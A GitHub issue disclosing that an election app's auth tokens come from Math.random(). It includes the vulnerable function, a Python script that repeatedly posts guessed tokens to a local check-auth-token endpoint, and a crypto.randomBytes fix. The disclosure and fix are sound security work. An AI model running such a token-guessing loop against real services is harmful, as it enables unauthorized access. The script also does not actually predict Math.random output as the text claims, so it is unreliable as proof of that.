Skip to content

Weak RNG in Auth Token Generation #178

@cjackett

Description

@cjackett

Description

The current implementation of the auth token generation function uses Math.random(), which is not a cryptographically secure random number generator (CSPRNG). This makes the generated tokens predictable and vulnerable to brute-force attacks.

Impact

Using Math.random() for generating auth tokens can lead to predictable tokens. An attacker could exploit this vulnerability to generate valid auth tokens, potentially gaining unauthorized access to the system. By analyzing a few captured tokens, an attacker can predict future tokens.

Steps to Reproduce

  1. Token Generation Function:
    The current implementation generates tokens using the following logic:

    function generateOne() {
      const random = Math.random();
      const integer = String(random).slice(2);
      const hex = Number(integer).toString(16);
      const auth_token = hex.slice(0, 10);
      return auth_token;
    }
  2. Exploitation Script:
    Use the following Python script to exploit the token generation vulnerability:

    import random
    import requests
    import re
    
    def is_bad_pattern(token):
        return bool(re.match(r"^[0-9][0-9]{0,6}e[0-9]{0,6}[0-9]$", token))
    
    def generate_one():
        random_number = random.random()
        integer = str(random_number)[2:]
        integer = re.sub(r'e[\+\-]?[0-9]+', '', integer)  # Avoid scientific notation issues
        hex_number = hex(int(integer))[2:]
        return hex_number[:10]
    
    def generate_auth_token():
        max_attempts = 1000
        for _ in range(max_attempts):
            auth_token = generate_one()
            if not is_bad_pattern(auth_token):
                return auth_token
        raise Exception(f"Couldn't generate good auth token with {max_attempts} attempts")
    
    def attempt_token(auth_token, election_id):
        url = "http://localhost:3000/api/check-auth-token"
        data = {
            "auth": auth_token,
            "election_id": election_id
        }
        response = requests.post(url, json=data)
        return response
    
    def main(election_id):
        while True:
            auth_token = generate_auth_token()
            response = attempt_token(auth_token, election_id)
            if response.status_code == 200:
                print(f"Valid token found: {auth_token}")
                break
            else:
                print(f"Invalid token: {auth_token} - Response: {response.status_code}")
    
    if __name__ == "__main__":
        election_id = "ADD_REAL_ELECTION_ID"
        main(election_id)

Mitigation

Replace Math.random() with a cryptographically secure random number generator, such as crypto.randomBytes in Node.js. Below is an example of a more secure token generation function:

const crypto = require('crypto');

function generateAuthToken() {
  let auth_token = generateOne();
  let attempts = 1;
  const max_attempts = 1000;
  while (isBadPatterns(auth_token)) {
    auth_token = generateOne();
    attempts++;
    if (attempts > max_attempts) throw `Couldn't generate good auth token with ${max_attempts} attempts`;
  }
  return auth_token;
}

function generateOne() {
  return crypto.randomBytes(5).toString('hex');  // 10 characters hex string
}

const isBadPatterns = (auth_token) => {
  return /^[0-9][0-9]{0,6}e[0-9]{0,6}[0-9]$/i.test(auth_token);
}

By using crypto.randomBytes, the generated tokens will be cryptographically secure, significantly reducing the risk of token prediction and brute-force attacks.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions